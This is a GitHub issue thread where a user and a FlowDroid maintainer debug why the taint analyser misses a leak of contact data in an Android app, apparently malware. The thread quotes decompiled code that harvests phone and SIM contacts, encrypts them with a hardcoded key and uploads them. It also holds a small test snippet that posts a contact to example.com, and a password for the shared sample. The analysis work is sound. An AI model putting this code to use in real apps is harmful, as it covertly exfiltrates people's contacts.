Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

FlowDroid fails to track complete taint flow through Cursor and List operations #774

Open
marshalwahlexyz1 opened this issue Oct 21, 2024 · 15 comments

Comments

@marshalwahlexyz1
Copy link

Hi, @t1mlange @StevenArzt

FlowDroid is not tracking the complete taint flow from ContentResolver.query() through Cursor.getString() and List operations to LianXiRenClass methods. While it can track individual segments of this flow, it fails to connect them into a single end-to-end taint propagation.

These are the step i took

  1. Set up FlowDroid with the following source and sink:
    Source: <android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>
    Sink: <com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>

  2. This is the code structure:
    _package defpackage;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.text.TextUtils;
import com.glx.fenmiframe.get_phonebook.LianXiRenClass;
import com.google.android.gms.common.util.Base64Utils;
import com.google.firebase.crashlytics.internal.persistence.CrashlyticsReportPersistence;
import defpackage.zn;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: UpLoadPhoneBookManager.java /
/
renamed from: ji reason: default package /
/
loaded from: classes.dex */
public class ji {
public static final String[] K4 = {"display_name", "data1", "photo_id", "contact_id"};
public static ji oE;
public ScheduledFuture<?> NC;
public String zO;
public final ScheduledExecutorService sd = Executors.newScheduledThreadPool(2);
public List h7 = new ArrayList();

/* compiled from: UpLoadPhoneBookManager.java */
/* renamed from: ji$NC */
/* loaded from: classes.dex */
public class NC extends zn.zO {
    public NC() {
    }

    @Override // defpackage.zn.h7
    public void onSuccess(String str, String str2) {
        ji.this.h7.clear();
    }
}

/* compiled from: UpLoadPhoneBookManager.java */
/* renamed from: ji$sd */
/* loaded from: classes.dex */
public class sd implements Runnable {
    public final /* synthetic */ Context sd;

    public sd(Context context) {
        this.sd = context;
    }

    @Override // java.lang.Runnable
    public void run() {
        ei.NC = true;
        if (oo.NC(this.sd, "android.permission.READ_CONTACTS")) {
            ji jiVar = ji.this;
            String sd = jiVar.sd(jiVar.sd(this.sd));
            if (TextUtils.isEmpty(sd)) {
                ji.this.sd(this.sd, "nodata");
                return;
            } else {
                ji.this.sd(this.sd, sd);
                return;
            }
        }
        ji.this.sd(this.sd, "noauth");
    }
}

public static ji NC() {
    if (oE == null) {
        synchronized (ji.class) {
            if (oE == null) {
                oE = new ji();
            }
        }
    }
    return oE;
}

public void sd() {
    ScheduledFuture<?> scheduledFuture = this.NC;
    if (scheduledFuture != null) {
        scheduledFuture.cancel(true);
        ei.NC = false;
    }
}

public List<LianXiRenClass> sd(Context context) {
    Cursor query;
    ContentResolver contentResolver = context.getContentResolver();
    Cursor query2 = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, K4, null, null, null);
    if (query2 != null) {
        while (query2.moveToNext()) {
            String string = query2.getString(1);
            if (!TextUtils.isEmpty(string)) {
                String string2 = query2.getString(0);
                Long.valueOf(query2.getLong(3));
                String trim = string.trim();
                if (trim.length() >= 10) {
                    this.h7.add(new LianXiRenClass(string2, trim));
                }
            }
        }
        query2.close();
    }
    if (oo.K4(context) && (query = contentResolver.query(Uri.parse("content://icc/adn"), K4, null, null, null)) != null) {
        while (query.moveToNext()) {
            String string3 = query.getString(1);
            if (!TextUtils.isEmpty(string3)) {
                String string4 = query.getString(0);
                String trim2 = string3.trim();
                if (trim2.length() >= 10) {
                    this.h7.add(new LianXiRenClass(string4, trim2));
                }
            }
        }
        query.close();
    }
    return this.h7;
}

public void NC(Context context) {
    if (ei.NC) {
        return;
    }
    this.NC = this.sd.scheduleAtFixedRate(new sd(context), 0L, mo.Xg(context), TimeUnit.MINUTES);
}

public String sd(List<LianXiRenClass> list) {
    JSONObject jSONObject = new JSONObject();
    JSONArray jSONArray = new JSONArray();
    for (int i = 0; i < list.size(); i++) {
        String mobile = list.get(i).getMobile();
        String name = list.get(i).getName();
        try {
            JSONObject jSONObject2 = new JSONObject();
            jSONObject2.put("mobile", mobile.replaceAll("-", "").replaceAll(CrashlyticsReportPersistence.PRIORITY_EVENT_SUFFIX, ""));
            jSONObject2.put("name", name);
            jSONArray.put(jSONObject2);
        } catch (Exception e) {
            String str = "for Error: " + e.toString();
            e.printStackTrace();
        }
    }
    try {
        jSONObject.put("data", jSONArray);
    } catch (JSONException e2) {
        String str2 = "Map Error: " + e2.toString();
        e2.printStackTrace();
    }
    this.zO = jSONObject.toString();
    String str3 = "通讯录获取内容: " + this.zO;
    return this.zO;
}

public void sd(Context context, String str) {
    HashMap hashMap = new HashMap();
    hashMap.put("data", Base64Utils.encode(oo.sd(str.getBytes(), "hXqnawTCDVFu40P4LVXF6YY5Fqfk1C7G".getBytes())));
    zn.oE oEVar = new zn.oE();
    oEVar.NC = hashMap;
    oEVar.sd = context;
    oEVar.zO = ao.D;
    oEVar.pT = "上传通讯录记录";
    oEVar.h7 = new NC();
    zn.NC(oEVar);
}

}_

Observed Behavior

  1. FlowDroid successfully tracks taint from ContentResolver.query() to Cursor.getString().
  2. FlowDroid successfully tracks taint from Cursor.getString() to LianXiRenClass constructor when set as separate source and sink.
  3. FlowDroid fails to track the complete flow from ContentResolver.query() through Cursor.getString() to LianXiRenClass constructor.

Expected Behavior

FlowDroid should track the complete taint flow from ContentResolver.query() through Cursor.getString() and List operations to LianXiRenClass methods.

Is this a known limitation of FlowDroid? If so, are there any workarounds ?

@StevenArzt
Copy link
Member

Can you please provide your precise source/sink definitions? How did you specify your sources and sinks? Did you create your own SourceSinkManager, did you use the XML format for defining sources and sinks or did you use the old plaintext definition file?

Which Taint Wrapper did you specify?

Do you run FlowDroid using the API or using the command-line tool? If you use the API, please provide your code. If you used the command-line application, please provide the parameters.

If FlowDroid is able to find the individual paths, it should also find the combined path. I suspect that something is wrong with your taint wapper configuration and hence, getString() does not correctly propagate the taint.

@marshalwahlexyz1
Copy link
Author

**Thank you, I am new to Flowdroid so I have been encountering some issues.
I ran flowdroid from command line and I also have cloned the repo and I use it on intellij.

I am using the old plaintext definition and this is my sources and sinks file content**

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<android.database.Cursor: java.lang.String getString(int)> -> SOURCE

<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)> -> SINK
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getName()> -> SINK
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getMobile()> -> SINK

**This is currently my source and sink file, please note my actual sink is the zn.NC(oEVar); last line of the app code I provided previously.

However, Flowdroid could not identify that as a sink and I have tracked this manually and dynamically using Frida there is a leak as contact data was sent over the network.

So, I am trying to track where the taint actually gets lost, and I found out that from the source I can't even track the taint directly for query method to the list.

I use this command line parameters**

java -Xmx16384m -jar "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-cmd\target\soot-infoflow-cmd-jar-with-dependencies.jar" -a "C:\Apktool\apk_files\easycash.apk" -p "C:\Users\walea\AppData\Local\Android\Sdk\platforms" -s "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-android\ctest.txt" -t "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow\ccw.txt" -tw EASY --cgalgo SPARK -o easycash.xml -pr fast -ls -aliasflowins

I am also using the plaintext format for my taint wrapper (ccw.txt) content below as I could not find a sample of format

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE
<android.database.Cursor: java.lang.String getString(int)>
<java.lang.String: java.lang.String trim()>
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getName()>
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getMobile()>
<java.util.List: boolean add(java.lang.Object)>
<java.util.List: java.lang.Object get(int)>
<org.json.JSONObject: org.json.JSONObject put(java.lang.String,java.lang.Object)>
<org.json.JSONObject: java.lang.String toString()>
<com.google.android.gms.common.util.Base64Utils: java.lang.String encode(byte[])>
<oo: byte[] sd(byte[],byte[])>
<zn: void NC(zn$oE)>

This is the result I get

[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - The sink specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6) in method <ji: java.util.List sd(android.content.Context)> was called with values from the following sources:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6)

[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - The sink specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6) in method <ji: java.util.List sd(android.content.Context)> was called with values from the following sources:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - Data flow solver took 2 seconds. Maximum memory consumption: 345 MB

[main] INFO soot.jimple.infoflow.android.SetupApplication - Found 2 leaks

Now I figured when I exclude <android.database.Cursor: java.lang.String getString(int)> -> SOURCE from the sources and sinks file and use my taintwrapper (ccw.txt) flowdroid identifies a leak where the source is from the <android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null) in method <ji: java.util.List sd(android.content.Context)> method

[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - The sink specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6) in method <ji: java.util.List sd(android.content.Context)> was called with values from the following sources:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6)

Another observation is that when I use the content below in my taintwrapper file no class get loaded. So I am not sure if the first taintwrapper is the correct format because it actually does not specify any taint propagation rule for me to assume flowdroid uses that to understand the flow. However, the results I get say otherwise.

Taint Wrapper for EasyTaintWrapper

Sources
<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE
Taint Propagation Methods

Cursor.getString(int): Propagate taint from 'this' to return value
<android.database.Cursor: java.lang.String getString(int)>: [this] -> return

String.trim(): Propagate taint from 'this' to return value
<java.lang.String: java.lang.String trim()>: [this] -> return
LianXiRenClass constructor: Propagate taint from parameters to 'this'
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>: [params] -> this

LianXiRenClass.getName() and getMobile(): Propagate taint from 'this' to return value
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getName()>: [this] -> return
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getMobile()>: [this] -> return

List methods: Propagate taint through lists
<java.util.List: boolean add(java.lang.Object)>: [params] -> this
<java.util.List: java.lang.Object get(int)>: [this] -> return

Map methods: Propagate taint through maps
<java.util.Map: java.lang.Object put(java.lang.Object,java.lang.Object)>: [params] -> this
<java.util.Map: java.lang.Object get(java.lang.Object)>: [this] -> return

JSONObject methods: Propagate taint through JSON objects
<org.json.JSONObject: org.json.JSONObject put(java.lang.String,java.lang.Object)>: [params] -> this
<org.json.JSONObject: java.lang.String toString()>: [this] -> return
<org.json.JSONObject: void (java.util.Map)>: [params] -> this

Base64Utils.encode(byte[]): Propagate taint from parameter to return value
<com.google.android.gms.common.util.Base64Utils: java.lang.String encode(byte[])>: [params] -> return

oo.sd(byte[], byte[]): Propagate taint from parameters to return value
<oo: byte[] sd(byte[],byte[])>: [params] -> return

StringBuilder methods: Propagate taint through string building
<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>: [params] -> this

OkGo methods: Propagate taint into the network call
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.base.BodyRequest upJson(org.json.JSONObject)>: [params] -> this
<com.lzy.okgo.request.base.BodyRequest: void execute(com.lzy.okgo.callback.Callback)> -> SINK

Sinks
<com.lzy.okgo.request.base.BodyRequest: void execute(com.lzy.okgo.callback.Callback)> -> SINK

QUESTIONS:
By just running flowdroid with this source and sink.

The result I am expecting from flowdroid is the flow from the source

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

to the sink

<com.lzy.okgo.request.base.BodyRequest: void execute(com.lzy.okgo.callback.Callback)> -> SINK

however i am getting no leaks, which prompted me to believe flowdroid lot the taint and tracking was never done till the sink i specified.

  1. Is my taintwrapper in the correct format?
  2. what other recommendations can you profer in solving this probelm.

@marshalwahlexyz1
Copy link
Author

So basically while trying to observe where taint is lost, these are the pair of sources and sinks I use in to track if taint flows from the source to the methods that handles the taint from the first sink. Note: I am using the taintwrapper, i only change the sink for each run

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<android.database.Cursor: java.lang.String getString(int)> -> SINK

the following result was gotten

The sink $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0) in method <ji: java.util.List sd(android.content.Context)> was called with values from the following sources:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)> -> SINK

the result gotten was

[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - The sink specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6) in method <ji: java.util.List sd(android.content.Context)> was called with values from the following sources:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - - $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null) in method <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - on Path:
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r5 = virtualinvoke $r2.<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)>($r3, $r4, null, null, null)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> $r7 = interfaceinvoke $r5.<android.database.Cursor: java.lang.String getString(int)>(0)
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> <ji: java.util.List sd(android.content.Context)>
[main] INFO soot.jimple.infoflow.android.SetupApplication$InPlaceInfoflow - -> specialinvoke $r9.<com.glx.fenmiframe.get_phonebook.LianXiRenClass: void (java.lang.String,java.lang.String)>($r7, $r6)

3.

Sources

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<java.util.List: boolean add(java.lang.Object)> -> SINK

At this point I was not getting any leak related to the ji path

So Flowdroid could not track if the list is tainted.

However when I use

<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getMobile()> -> SOURCE
<com.glx.fenmiframe.get_phonebook.LianXiRenClass: java.lang.String getName()> -> SOURCE

which is after the taint was added to the list as source and this as sink

Sinks

<org.json.JSONObject: org.json.JSONObject put(java.lang.String,java.lang.Object)> -> SINK

Flowdroid could detect leak.

So it seems flowdroid lost the taint when <java.util.List: boolean add(java.lang.Object)> was invoked as this is the point where it could no longer detect leak.

@StevenArzt
Copy link
Member

The purpose of the taint wrapper is to provide an abstraction over API methods. You don't need to put any methods from your target app into the definition file.

Aside from that, the EasyTaintWrapper is highly outdated. We have long switched to StubDroid, i.e., SummaryTaintWrapper. If you use the FlowDroid command-line application and don't explicitly specify a taint wrapper, this is the default option. So I wonder why you ended up with the EasyTaitWrapper in the first place.

In the default configuration, the SummaryTaintWrapper reads in the summary files (one XML file per class) that are provided with FlowDroid. That already contains summaries fot Cursor, List and so on, so it should work. Keep in mind that you don't need summaries for app classes.

What is your command line?

@StevenArzt
Copy link
Member

I built a small test application with the same ContentResolver on which FlowDroid finds the leak just fine. I hope that we see things clearer if you fix your command line to use the default taint wrapper. Otherwise, I need the original APK file to have a deeper look.

@marshalwahlexyz1
Copy link
Author

Thank you for your help so far, I uploaded the app to a drive https://drive.google.com/drive/folders/1Ye6LhU9WFrTgO3XVsCj3TiQi91R2G8Ii?usp=sharing

The app retrieves contact data, sms and images hence the need to track this data from source to when they are sent over the network.

The classes of interest where this data retrievals happen is the defpackage,ji defpackage.ki and defpackage.mi, at the later end of each class the code structure is similar and the 3 classes all make a call to the zn.NC class for network connection using okGO post method.

@marshalwahlexyz1
Copy link
Author

**I ended up specifying taint wrapper because the default configuration where I just specified only the source and sink of interest detects 0 leak and i am sure there is a leak. **

So I have ran flowdroid with these commands

  1. With just source and sink file
    java -Xmx16384m -jar "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-cmd\target\soot-infoflow-cmd-jar-with-dependencies.jar" -a "C:\Apktool\apk_files\easycash.apk" -p "C:\Users\walea\AppData\Local\Android\Sdk\platforms" -s "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-android\ctest.txt" -o easycash.xml -pr fast -ls

  2. With parameters pointing to the summariesmanual
    java -Xmx16384m -jar "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-cmd\target\soot-infoflow-cmd-jar-with-dependencies.jar" -a "C:\Apktool\apk_files\easycash.apk" -p "C:\Users\walea\AppData\Local\Android\Sdk\platforms" -s "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-android\ctest.txt" -t "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-summaries\summariesManual" -tw STUBDROID -o easycash.xml -pr fast -ls

This is the content of my ctest.txt (source and sink file)

<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<com.lzy.okgo.OkGo: com.lzy.okgo.request.PostRequest post(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest upJson(java.lang.String)> -> SINK
<com.lzy.okgo.request.PostRequest: com.lzy.okgo.request.PostRequest execute()> -> SINK
<okhttp3.OkHttpClient: okhttp3.Call newCall(okhttp3.Request)> -> SINK

I have tried all default configuration flowdroid still detects 0 leak.

By manual observation of the app this
<android.content.ContentResolver: android.database.Cursor query(android.net.Uri,java.lang.String[],java.lang.String,java.lang.String[],java.lang.String)> -> SOURCE

<com.lzy.okgo.OkGo: com.lzy.okgo.request.PostRequest post(java.lang.String)> -> SINK

should be the source and sink for the contact data that was retrieved. Hence, I expected flowdroid to detect this leak.

@StevenArzt
Copy link
Member

The APK seems to contain malwaree. Google Drive gives me "Only the owner is allowed to download infected files.". Maybe you can upload an encrypted ZIP file and put the password here.

@marshalwahlexyz1
Copy link
Author

@marshalwahlexyz1
Copy link
Author

HI @StevenArzt

Just a quick question, hope you now have access to the app?

Thank you

@marshalwahlexyz1
Copy link
Author

Hi @StevenArzt would like to ask if there is any update from your end as regards the discussed problem with flowdroid detecting leak in the app from where the contact data was tainted till when a post request was made. Thank you.

@marshalwahlexyz1
Copy link
Author

The APK seems to contain malwaree. Google Drive gives me "Only the owner is allowed to download infected files.". Maybe you can upload an encrypted ZIP file and put the password here.

Hi @StevenArzt just want to ask if there is any update. Thank you.

@marshalwahlexyz1
Copy link
Author

Hi @StevenArzt I have uploaded an encrypted zip file as you requested https://drive.google.com/file/d/1cmKXOWhYkklh1IRy_UVMchdLCCmerP5b/view?usp=sharing

pwd: testapp

I just want to ask if there is any update. Thank you.

@StevenArzt
Copy link
Member

I have the APK now, thank you. I am quite busy at the moment with reviewing papers for ISSTA, so it might take a bit before I can look into the issue.

@marshalwahlexyz1
Copy link
Author

Hi Steven,

While you are still busy with the ISSTA paper review, I simplified the problem to the least possible example

With the code below:

` private void retrieveAndSendContacts() {
Cursor cursor = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
new String[]{
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
ContactsContract.CommonDataKinds.Phone.NUMBER
},
null, null, null
);

    if (cursor != null && cursor.moveToFirst()) {

        String name = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
        String phoneNumber = cursor.getString(cursor.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER));

        new Thread(() -> sendContactDirectly(name, phoneNumber)).start();

        cursor.close();
    }
}

private void sendContactDirectly(String name, String phoneNumber) {
    try {
        URL url = new URL("https://example.com/receive_contacts"); 
        HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
        httpURLConnection.setRequestMethod("POST");
        httpURLConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        httpURLConnection.setDoOutput(true);

        // Write data directly as query parameters
        String parameters = "name=" + name + "&phone=" + phoneNumber;

        // Write data to the output stream
        httpURLConnection.getOutputStream().write(parameters.getBytes());

        httpURLConnection.connect();

`

Using this command line argument: java -Xmx16384m -jar "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-cmd\target\soot-infoflow-cmd-jar-with-dependencies.jar" -a "C:\Apktool\apk_files\testapp\basicapp.apk" -p "C:\Users\walea\AppData\Local\Android\Sdk\platforms" -s "C:\Users\walea\Desktop\FlowDroid-develop\soot-infoflow-android\testapp.txt" -o basicapp.xml -pr fast -ls -d --aliasflowins

Flowdroid detects 1 leak from query() to network sink.

However, for this second code

` private void retrieveAndSendContacts() {
List contactsList = new ArrayList<>();

    Cursor cursor = getContentResolver().query(
            ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
            new String[]{
                    ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
                    ContactsContract.CommonDataKinds.Phone.NUMBER
            },
            null, null, null
    );

    if (cursor != null) {
        try {
            while (cursor.moveToNext()) {
